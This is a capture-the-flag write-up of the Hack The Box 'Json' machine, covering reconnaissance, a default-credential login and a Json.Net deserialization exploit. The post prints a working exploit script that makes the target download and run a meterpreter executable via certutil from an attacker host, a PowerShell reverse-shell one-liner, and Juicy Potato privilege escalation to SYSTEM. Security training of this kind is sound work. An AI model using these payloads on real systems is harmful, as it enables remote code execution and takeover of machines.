Configuration

The operating systems that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts .

$ echo "10.10.10.158 json.htb" >> /etc/hosts

Reconnaissance

Using nmap , we are able to determine the open ports and running services on the machine.

$ nmap -sV -sT -sC json.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 23:17 EST Nmap scan report for json.htb ( 10.10.10.158 ) Host is up ( 0.26s latency ) . Not shown: 988 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp FileZilla ftpd | ftp-syst: |_ SYST: UNIX emulated by FileZilla 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: Json HTB 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012 ; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 4h01m13s, deviation: 0s, median: 4h01m13s |_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:bd:00:23 ( VMware ) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled ( dangerous, but default ) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date : 2020-01-18T08:19:44 |_ start_date: 2020-01-18T07:11:14 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address ( 1 host up ) scanned in 82.99 seconds

Enumeration (1)

When trying the access the ftp service, I wasn’t able to login anonymously, hence I went straight for the http service. Something weird actually happens because it went from what seems to be a dashboard:

to a login page at /login.html :

Tried some default usernames and passwords and admin:admin worked! I guess the usage of the StartBootStrap Admin theme was a hint. After logging in, we were directed back to the dashboard. Someone probably didn’t implement things correctly haha

Among the requests sent during the login, there was a suspicous GET request being sent to /api/account .

The response was:

{ "Id":1, "UserName":"admin", "Password":"21232f297a57a5a743894a0e4a801fc3", "Name":"User Admin HTB", "Rol":"Administrator" }

No requests parameters were sent so maybe the OAuth2 token in the Bearer header has something to do with it? The session value also had the same value for some reason. When to base64 -decoding it, we got the same exact content as the response.

Lets try to cause some base64 -decoding issues and hopefully see some errors :)

import base64 import requests headers = { "Bearer" : base64 . b64encode ( b"something" ) } resp = requests . get ( "http://json.htb/api/Account/" , headers = headers ) print ( resp . content )

Running the above script got:

b'{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}'

Json.Net ? Didn’t know how to exploit but I came across this tool that is able to generate some sort of payload to execute commands ? What was neat was that the first example actually suited our needs and all we have to do is change the command executed.

Exploitation (1)

First, we need to generate our meterpreter payload and serve it using SimpleHTTPServer on port 80.

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST = 10.10.XX.XX LPORT = XXXX -f exe > shell.exe [ -] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [ -] No arch selected, selecting arch : x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes $ python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...

Next, we set up our reverse shell handler using msfconsole :

$ msfconsole msf5 > use exploit/multi/handler msf5 exploit ( multi/handler ) > set LHOST 10.10.XX.XX LHOST => 10.10.XX.XX msf5 exploit ( multi/handler ) > set LPORT 4444 LPORT => XXXX msf5 exploit ( multi/handler ) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit ( multi/handler ) > run [ * ] Started reverse TCP handler on 10.10.XX.XX:XXXX

And now our exploit script to pull everything together:

import base64 import requests import json IP = "10.10.XX.XX" PORT = "XXXX" template = r""" { "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", "MethodName":"Start", "MethodParameters":{ "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "$values":["cmd","/c %s"] }, "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"} } """ commands = [ r"mkdir c:\\tmp" , r"certutil -f -split -urlcache http://%s:%s/shell.exe c:\\tmp\\shell.exe" % ( IP , PORT ), r"c:\\tmp\\shell.exe" ] for command in commands : payload = template % ( command ,) minified = json . dumps ( json . loads ( payload )). encode () headers = { "Bearer" : base64 . b64encode ( minified ) } resp = requests . get ( "http://json.htb/api/Account/" , headers = headers )

Running the script got us our session ! :)

[*] Sending stage (180291 bytes) to 10.10.10.158 [*] Meterpreter session 1 opened (10.10.XX.XX:XXXX -> 10.10.10.158:52355) at 2020-02-15 09:29:17 -0500 meterpreter > getuid Server username: JSON\userpool

user.txt

meterpreter > shell Process 676 created. Channel 1 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>more C:\Users\userpool\Destkop\user.txt 3445XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

If we look at what privileges we have as userpool ,

c:\windows\system32\inetsrv>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

According to PayloadAllTheThings, if we got SeImpersonate or SeAssignPrimaryToken privileges (which is this case we have both), we can use Juicy Potato .

First we create a .bat script to run a Powershell command that connects back to us.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.XX.XX',XXXX); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"

Then we use meterpreter to upload the files to the box:

meterpreter > upload /root/Desktop/web/x.bat C:\\tmp [*] uploading : /root/Desktop/web/x.bat -> C:\tmp [*] uploaded : /root/Desktop/web/x.bat -> C:\tmp\x.bat meterpreter > upload /root/Desktop/web/JuicyPotato.exe C:\\tmp [*] uploading : /root/Desktop/web/JuicyPotato.exe -> C:\tmp [*] uploaded : /root/Desktop/web/JuicyPotato.exe -> C:\tmp\JuicyPotato.exe

Next we start a listener on our machine:

$ nc -lvnp XXXX listening on [ any] XXXX ...

To use JuicyPotato.exe , we need to know the CLSID based on the box’s Windows version Microsoft Windows Server 2012 R2 Datacenter (The version can be retrieved by running systeminfo on the box.). The CLSID can be gotten from here. Make sure the User belonging to the CLSID you have chosen is NT AUTHORITY/SYSTEM .

The last step would be to run JuicyPotato.exe on the box.

c:\tmp> JuicyPotato.exe -l XXXX -p c:\tmp\x.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} XXXX .... [+] authresult 0 {e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK

On our listener, we caught the connection:

connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.158] 52604 PS C:\Windows\system32> whoami nt authority\system

root.txt

PS C:\Windows\system32> more C:\Users\superadmin\Desktop\root.txt 3cc8XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !